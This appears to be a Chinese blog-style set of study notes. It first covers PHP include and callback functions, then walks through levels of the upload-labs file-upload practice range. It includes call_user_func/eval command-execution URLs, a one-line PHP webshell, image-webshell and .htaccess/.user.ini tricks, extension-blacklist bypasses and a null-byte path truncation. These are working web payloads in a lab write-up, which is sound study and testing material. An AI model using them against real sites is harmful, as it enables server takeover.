upload靶场与常见php函数
php中常见的函数
include_once () 作用
基础定义
include_once():引入并运行外部 PHP 文件,同一个文件只会被引入一次。
核心特性
once = 只引入一次
脚本多次写
include_once('xxx.php'),只有第一次生效,后续直接忽略,不会重复加载。
找不到文件产生警告(Warning),脚本继续执行
和
require_once区分:require_once文件不存在直接致命错误,终止程序。作用域
在函数外引入:变量全局生效
在函数内部引入:变量默认局部作用域
路径查找规则和
include()一致,遵循include_path
和同类函数对比
表格
| 函数 | 文件缺失报错 | 是否允许重复引入 |
|---|---|---|
include() | 警告,继续运行 | 可以重复引入 |
include_once() | 警告,继续运行 | 仅引入一次 |
require() | 致命错误,停止运行 | 可以重复引入 |
require_once() | 致命错误,停止运行 | 仅引入一次 |
回调函数
什么是回调函数?
简单定义:回调函数就是把一个函数作为参数传给另一个函数,在适当的时候被"回调"执行。
核心思想:将"做什么"(函数逻辑)和"何时做"(触发时机)分离。
常用内置回调函数
| 函数 | 作用 | 示例 |
|---|---|---|
array_map() | 对数组每个元素应用回调 | array_map('strtoupper', ['a','b']) |
array_filter() | 过滤数组元素 | array_filter([1,2,3], function($v){return $v>1;}) |
usort() | 自定义排序 | usort($arr, function($a,$b){return $a-$b;}) |
call_user_func() | 调用回调函数 | call_user_func('strlen', 'hello') |
call_user_func_array() | 参数以数组形式传递 | call_user_func_array('strpos', ['hello', 'e']) |
register_shutdown_function() | 脚本结束时执行 | register_shutdown_function('myCallback') |
set_error_handler() | 自定义错误处理 | set_error_handler(function($errno,$errstr){...}) |
回调函数在安全中的应用
<?php // eval_get_vuln.php - 漏洞演示代码 // ⚠ 仅用于本地安全测试,不要用于生产环境! if (isset($_GET['code'])) { //code=call_user_func('system','whoami'); $code = $_GET['code']; eval($code); // 危险!直接执行用户传入的代码 } ?>palyload1: [10.82.221.6/include/test2.php?code=call_user_func($GET['fun'],$GET['w']);&fun=system&w=whoami
palyload2:[10.82.221.6/include/test2.php?code=call_user_func('system','whoami');
palyload3:[10.82.221.6/include/test2.php?code=$fun='system';$w='whoami';call_user_func($fun,$w);
利用call_user_func执行任意函数(高危!)
漏洞代码:
$func = $_GET['func']; $param = $_GET['param']; call_user_func($func, $param);
攻击方式:
?func=system¶m=whoami
→ 执行system('whoami')
?func=phpinfo¶m=1
→ 执行phpinfo()
?func=assert¶m=phpinfo()
→ 执行assert('phpinfo()')(eval执行字符串)
upload靶场
第一关
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }通过源码可知
var allow_ext = ".jpg|.png|.gif";只允许上传jpg,png,gif类型的文件
我们可以把文件的后缀名改成.jpg,然后通过burpsuite进行抓包,把它的后缀名改回php这样就能成功绕过
第二关:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!';第二关比第一关多了一个MIME类型校验
$_FILES'upload_file'检查HTTP 请求头里的 Content-Type
此时我们只需用burpsuite抓包并把Content-Type改成image/jpeg就能绕过
第三关:
deldot()清除文件名末尾的点
strrchr(字符串,字符):从最后一个.开始截取后面全部内容,用来提取后缀
strtolower()转换为小写
str_ireplace('::$DATA', '', $file_ext) 不区分大小写替换,清除 ::$DAT
trim($file_ext);清除后缀前后空白字符
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }只禁止少量脚本后缀,大量可执行后缀没有拦截:
.phtml .phps .php3 .php5 .asa .cer .cdx
只要 Web 服务器配置支持解析这些后缀,即可执行代码。
第四关:
第四关比第三关的黑名单多了
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");并且也开了大小写转换,此时我们就可以用.htaccess
在
.htaccess文件里写入
<FilesMatch "\.png$"> FcgidWrapper "D:/phpstudy_pro/Extensions/php/php8.1.11/php-cgi.exe" .png </FilesMatch>
先上传.htaccess再上传png文件,它就会把png自动解析成php
第五关:
第五关没有大小写转换函数$file_ext = strtolower($file_ext);此时我们就能通过抓包把文件的后缀改成大写或者大小混写的方式绕过
同时我们也可以利用.user.ini配置文件
这个文件可以像.htaccess一样,在每个目录中设置PHP选项。
前提条件:
PHP版本高于5.3。
服务器运行在CGI/FastCGI模式下(可通过查看
phpinfo()确认)。
操作步骤:
上传
.user.ini:创建一个内容如下的文件并上传:ini
auto_prepend_file = test.jpg
这行代码的意思是,让所有PHP文件在执行前,都自动包含(
include)test.jpg文件。上传图片马:创建一个包含一句话木马的
test.jpg图片马并上传。
原理:之后,当访问该目录下的任何PHP文件(例如readme.php)时,test.jpg中的PHP代码都会被自动加载并执行
第六关:
由于此关没有$file_ext = trim($file_ext);这个函数,我们可以通过抓包的方式在文件名后缀加一个空格,但此方法只适用于老版本。
第七关:
此关相比第六关缺少了$file_name = deldot($file_name);这个函数,我,我们可以在文件末尾添加一个.形成php.,在 Windows下,文件名末尾的点会被自动去除,最终生成的文件名是shell.php
第八关:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } 与第七关相比缺少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,我们可以通过抓包的方式修改文件名后缀,在文件后缀添上::$DATA
此时目录下的.php文件(文件名是时间戳+随机数,可查看返回路径或根据日期猜测),访问即可触发木马。
第九关:
上传.user.ini(内容:auto_prepend_file = shell.jpg),再上传包含木马的图片马shell.jpg,最后访问该目录下任意一个.php文件
第十关:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }str_ireplace(查找数组,替换内容,目标字符串)` 作用:不区分大小写,把文件名中所有匹配黑名单里的字符串直接替换为空。 ⚠️ 注意:它不是匹配后缀!它是全局字符串替换,只要文件名里包含黑名单文本就删除。
方法一:
准备两个文件:
.user.ini 文件内容:
auto_prepend_file = shell.jpg
图片马
shell.jpg(内容为GIF89a头部 + 一句话木马<?php @eval($_POST['cmd']); ?>)。上传 .user.ini:
直接上传该文件,因为黑名单中无
ini。保存后的文件名是
.user.ini(注意开头有点,是隐藏文件,但 Web 目录下可访问)。上传 shell.jpg:
直接上传,因为黑名单无
jpg。触发木马:
访问该目录下的任意
.php文件,例如http://127.0.0.1/upload/upload/index.php(如果不存在,可以自己上传一个空白的test.php)。此时,PHP 会先执行
auto_prepend_file,自动包含shell.jpg,木马被执行。用蚁剑/菜刀连接:URL 为
http://127.0.0.1/upload/index.php,密码cmd,即可获得 Shell。
方法二:
可以双写文件名来绕过此关shell.pphphp
第十一关:
准备图片马 创建一个包含一句话木马的图片文件(如 shell.jpg),内容:
GIF89a <?php @eval($_POST['cmd']); ?>
拦截上传请求 正常上传该文件,用 Burp Suite 拦截 POST 请求。
修改 save_path 参数 在请求的 URL 中(通常在 GET 参数里,因为源码使用 $_GET['save_path']),将 save_path 的值改为:
text
upload/shell.php%00
注意:
%00需要是 URL 编码后的空字节(即%00)。如果使用 Burp 的Repeater或直接在浏览器地址栏测试,确保%00不被二次编码。
第十三关:
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } } 1.制作一个图片码
制作方法(以 GIF89a 为例):
GIF89a <?php @eval($_POST['cmd']); ?>
或使用工具(如copy /b shell.jpg+shell.php shell.jpg)合并。
2.上传该图片码
上传后,文件被保存为随机数.jpg,内容包含木马,但后缀是.jpg,默认不会执行 PHP 代码
如果靶机存在其他页面(如include.php)包含用户可控的文件路径,则可以通过访问该页面包含图片马,使其中的 PHP 代码被执行。